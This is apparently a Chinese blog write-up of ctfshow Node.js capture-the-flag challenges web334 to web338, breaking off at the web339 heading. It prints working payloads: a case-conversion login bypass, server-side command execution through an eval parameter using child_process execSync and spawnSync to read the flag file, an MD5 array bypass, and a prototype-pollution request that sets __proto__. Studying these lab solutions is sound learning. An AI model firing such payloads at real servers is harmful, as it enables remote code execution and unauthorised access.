前言 最近真的巨忙啊。。天天加班,没啥时间看题,只能利用每天赶公交车的时间看看思路。
nodejs篇,重新看一下。
web334 打开题目是一个登录框,给了源码我们看一下:
login.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 var express = require ('express' );var router = express.Router ();var users = require ('../modules/user' ).items ; var findUser = function (name, password ){ return users.find (function (item ){ return name!=='CTFSHOW' && item.username === name.toUpperCase () && item.password === password; }); }; router.post ('/' , function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var sess = req.session ; var user = findUser (req.body .username , req.body .password ); if (user){ req.session .regenerate (function (err ) { if (err){ return res.json ({ret_code : 2 , ret_msg : '登录失败' }); } req.session .loginUser = user.username ; res.json ({ret_code : 0 , ret_msg : '登录成功' ,ret_flag :flag}); }); }else { res.json ({ret_code : 1 , ret_msg : '账号或密码错误' }); } }); module .exports = router;
user.js
1 2 3 4 5 module .exports = { items : [ {username : 'CTFSHOW' , password : '123456' } ] };
逻辑其实很简单,只要
1 2 3 4 5 var findUser = function (name, password ){ return users.find (function (item ){ return name!=='CTFSHOW' && item.username === name.toUpperCase () && item.password === password; }); };
为真即可,主要就是这句话:return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
这里需要我们传的username!=CTFSHOW,然后转换成大写之后等于CTFSHOW,就可以绕过去了,所以我们传个CTFSHOw即可。
payload:username=CTFSHOw&password=123456
web335 这个题目打开就只有一个where is flag,于是就用dirsearch扫了一下,没扫到什么东西,F12看一下,发现提示?eval。猜想可能就是给了一个命令执行的接口,这里我用chatgpt找了几个命令执行的用法,发现都不行,比如?eval=require('child_process').exec('ls');这样返回的是Object object,没有实际输出,换成ls >1.txt访问1.txt发现不存在。
后面看了师傅的博客,发现有一种写法可以直接执行并且拿到输出:
eval=require('child_process').execSync('ls /');
最终的payload,直接读flag就好了:?eval=require('child_process').execSync('cat f*');
web336 上面那个payload用不了了,换一种用法即可:
?eval=require('child_process').spawnSync('ls').stdout
然后我就直接?eval=require('child_process').spawnSync('cat f*').stdout,那这样写其实是不行的,spawnSync有自己的格式和要求,spawnSync('xxx',['xxxx']),前面一个是命令,后面是命令的参数。
最终payload:?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout;
web337 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 var express = require ('express' );var router = express.Router ();var crypto = require ('crypto' );function md5 (s ) { return crypto.createHash ('md5' ) .update (s) .digest ('hex' ); } router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag='xxxxxxx' ; var a = req.query .a ; var b = req.query .b ; if (a && b && a.length ===b.length && a!==b && md5 (a+flag)===md5 (b+flag)){ res.end (flag); }else { res.render ('index' ,{ msg : 'tql' }); } }); module .exports = router;
主要就是这段代码:
1 2 3 if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ res.end(flag); }
和之前的PHP是一样的考点,用数组绕过去,只不过这里有一些不同:https://b8fa570e-34b2-4d95-a342-7920b5e7c5b7.challenge.ctf.show?a[]=1&b[]=2,直接像我这样写是不行的。下标需要有字母填充:
最终的payload:
https://b8fa570e-34b2-4d95-a342-7920b5e7c5b7.challenge.ctf.show?a[c]=1&b[d]=2
web338 开始原型链污染了,主要出问题的地方就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 module .exports = { copy :copy }; function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } }
主要就是这里的赋值操作,几乎和P神那篇博客的代码一样,我们可以通过copy来更改__proto__。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var secert = {}; var sess = req.session ; let user = {}; utils.copy (user,req.body ); if (secert.ctfshow ==='36dboy' ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } }); module .exports = router;
读这段代码的话,只需要把ctfshow这个属性污染一下,让它值为36dboy即可。
所以我们直接构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST /login HTTP/1.1 Host: 040b46aa-ba22-4649-9f00-4c792385e010.challenge.ctf.show Cookie: cf_clearance=sTQvqaMwb3cvdYslFCYRZc6l7LY572oFsYFp9YuIMLs-1732516663-1.2.1.1-1eL_jwZwq.IoB4YfQDLmQVm7Li7wcDoxulbj92j.V18.6E8.rjQStfik8DlqJNxsLGsmaVyCFl16VzE_dlvsjS_2zqTdPbjdY6m.JIzpXk59c5fLMVAjc1oSjgwoBD6vEwd238NpEKyub28GMLXjRjsAi9kYMjCTdNzfaR812zVTh8757NYsQtBznwRNE6H2ZBFkoQ8q1qMxGHxIRlzAxXnZ1Wo2qFJIyXEfToBFXkWZbYq1c1PSm9CVLx.4dMwMcRBIf2gnfJDbZ0Up6ppym6azaxwR7l7O8gEyePyBIJMtYWex5m5vGYYmgGydjV09iIB9x_WIjuIOP8lvidjSLoRif1U89NnGuf12n9UpekIYqbtXvkD.6QM_l41wTh6qj6OjaArC1PmbAAwRBfPbUw Content-Length: 66 Sec-Ch-Ua-Platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: application/json Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" Content-Type: application/json Sec-Ch-Ua-Mobile: ?0 Origin: https://040b46aa-ba22-4649-9f00-4c792385e010.challenge.ctf.show Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://040b46aa-ba22-4649-9f00-4c792385e010.challenge.ctf.show/ Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 Priority: u=1, i Connection: close {"username":"1","password":"1","__proto__":{ "ctfshow":"36dboy"}}
这里要注意content-type对应的值为application/json,没改之前多了些内容。
web339